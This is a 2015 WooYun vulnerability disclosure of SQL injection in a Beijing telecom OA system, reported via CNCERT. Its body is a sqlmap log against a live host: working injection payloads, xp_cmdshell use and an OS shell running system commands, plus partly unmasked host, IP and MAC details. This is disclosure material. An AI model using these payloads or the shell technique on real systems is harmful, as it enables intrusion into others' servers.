当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157679

漏洞标题:北京市电信通某OA系统SQL注入(DBA权限)(已getshell)

相关厂商:中国电信

漏洞作者: xyntax

提交时间:2015-12-03 10:58

修复时间:2016-01-21 14:00

公开时间:2016-01-21 14:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-03: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

Beijing Bitone United Networks Technology Service

详细说明:

xy@kali:~$ sudo sqlmap -u **.**.**.**:8080/ctop/portal/portal_info.jsp?id=1 --os-shell
sudo:/etc/sudoers.d/fruitywifi 属于用户 ID 1000,应为 0
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150922}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:56:07
[16:56:08] [INFO] testing connection to the target URL
[16:56:08] [INFO] testing if the target URL is stable
[16:56:09] [INFO] target URL is stable
[16:56:09] [INFO] testing if GET parameter 'id' is dynamic
[16:56:09] [WARNING] GET parameter 'id' does not appear dynamic
[16:56:09] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[16:56:09] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[16:56:09] [INFO] testing for SQL injection on GET parameter 'id'
[16:56:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:56:09] [WARNING] reflective value(s) found and filtering out
[16:56:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[16:56:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:56:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:56:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:56:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:56:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:56:10] [INFO] testing 'MySQL inline queries'
[16:56:10] [INFO] testing 'PostgreSQL inline queries'
[16:56:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:56:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:56:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:56:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:56:21] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
it looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n]
[17:00:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:00:46] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:00:47] [INFO] target URL appears to be UNION injectable with 7 columns
[17:00:47] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-5006 UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(118)+CHAR(66)+CHAR(114)+CHAR(113)+CHAR(66)+CHAR(83)+CHAR(84)+CHAR(70)+CHAR(77)+CHAR(89)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR(112)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL--
---
[17:00:49] [INFO] testing Microsoft SQL Server
[17:00:49] [INFO] confirming Microsoft SQL Server
[17:00:50] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[17:00:50] [INFO] testing if current user is DBA
[17:00:50] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[17:01:02] [INFO] xp_cmdshell extended procedure is available
[17:01:03] [INFO] testing if xp_cmdshell extended procedure is usable
[17:01:03] [INFO] the SQL query used returns 3 entries
[17:01:03] [INFO] retrieved: '錀粂' 不是内部或外部命令,也不是可运行的程序
[17:01:03] [INFO] retrieved: 或批处理文件。
[17:01:03] [INFO] retrieved: 1
[17:01:03] [INFO] xp_cmdshell extended procedure is usable
[17:01:03] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[17:01:03] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ver
do you want to retrieve the command standard output? [Y/n/a]
[17:01:09] [INFO] the SQL query used returns 3 entries
[17:01:09] [INFO] retrieved: '錀粂' 不是内部或外部命令,也不是可运行的程序
[17:01:09] [INFO] retrieved: 或批处理文件。
[17:01:09] [INFO] retrieved:
command standard output:
---
'錀粂' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
---
os-shell> ipconfig /all
do you want to retrieve the command standard output? [Y/n/a]
[17:01:19] [INFO] the SQL query used returns 40 entries
[17:01:19] [INFO] retrieved: '錀粂' 不是内部或外部命令,也不是可运行的程序
[17:01:19] [INFO] retrieved: 或批处理文件。
[17:01:19] [INFO] retrieved: \\r
[17:01:19] [INFO] retrieved: Windows IP Configuration\\r
[17:01:19] [INFO] retrieved: \\r
[17:01:19] [INFO] retrieved: Host Name . . . . . . . . . . . . : www-c4188...
[17:01:20] [INFO] retrieved: Primary Dns Suffix . . . . . . . : \\r
[17:01:20] [INFO] retrieved: Node Type . . . . . . . . . . . . : Unknown\\r
[17:01:20] [INFO] retrieved: IP Routing Enabled. . . . . . . . : No\\r
[17:01:20] [INFO] retrieved: WINS Proxy Enabled. . . . . . . . : No\\r
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Ethernet adapter 本地连接 4:\\r
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Media State . . . . . . . . . . . : Media dis...
[17:01:20] [INFO] retrieved: Description . . . . . . . . . . . : Broadcom ...
[17:01:20] [INFO] retrieved: Physical Address. . . . . . . . . : 78-2B-CB-...
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Ethernet adapter 本地连接 3:\\r
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Media State . . . . . . . . . . . : Media dis...
[17:01:20] [INFO] retrieved: Description . . . . . . . . . . . : Broadcom ...
[17:01:20] [INFO] retrieved: Physical Address. . . . . . . . . : 78-2B-CB-...
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Ethernet adapter 本地连接 2:\\r
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Media State . . . . . . . . . . . : Media dis...
[17:01:20] [INFO] retrieved: Description . . . . . . . . . . . : Broadcom ...
[17:01:20] [INFO] retrieved: Physical Address. . . . . . . . . : 78-2B-CB-...
[17:01:20] [INFO] retrieved: \\r
[17:01:20] [INFO] retrieved: Ethernet adapter 本地连接 1:\\r
[17:01:21] [INFO] retrieved: \\r
[17:01:21] [INFO] retrieved: Connection-specific DNS Suffix . : \\r
[17:01:21] [INFO] retrieved: Description . . . . . . . . . . . : Broadcom ...
[17:01:21] [INFO] retrieved: Physical Address. . . . . . . . . : 78-2B-CB-...
[17:01:21] [INFO] retrieved: DHCP Enabled. . . . . . . . . . . : No\\r
[17:01:21] [INFO] retrieved: IP Address. . . . . . . . . . . . : 218.241.1...
[17:01:21] [INFO] retrieved: Subnet Mask . . . . . . . . . . . : 255.255.2...
[17:01:21] [INFO] retrieved: Default Gateway . . . . . . . . . : 218.241.1...
[17:01:21] [INFO] retrieved: DNS Servers . . . . . . . . . . . : 211.147.6...
[17:01:21] [INFO] retrieved: 202.106.0...
command standard output:
---
'錀粂' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
Windows IP Configuration
Host Name . . . . . . . . . . . . : www-c41888720c7
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接 4:
Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #41
Physical Address. . . . . . . . . : 78-2B-CB-60-65-2F
Ethernet adapter 本地连接 3:
Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #40
Physical Address. . . . . . . . . : 78-2B-CB-60-65-2D
Ethernet adapter 本地连接 2:
Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #43
Physical Address. . . . . . . . . : 78-2B-CB-60-65-2B
Ethernet adapter 本地连接 1:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #42
Physical Address. . . . . . . . . : 78-2B-CB-60-65-29
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : **.**.**.**
Subnet Mask . . . . . . . . . . . : **.**.**.**
Default Gateway . . . . . . . . . : **.**.**.**
DNS Servers . . . . . . . . . . . : **.**.**.**
**.**.**.**
---
os-shell>

漏洞证明:

2015-12-02 17:11:20屏幕截图.png


2015-12-02 17:11:39屏幕截图.png

修复方案:

过滤或升级OA

版权声明:转载请注明来源 xyntax@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-07 13:51

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无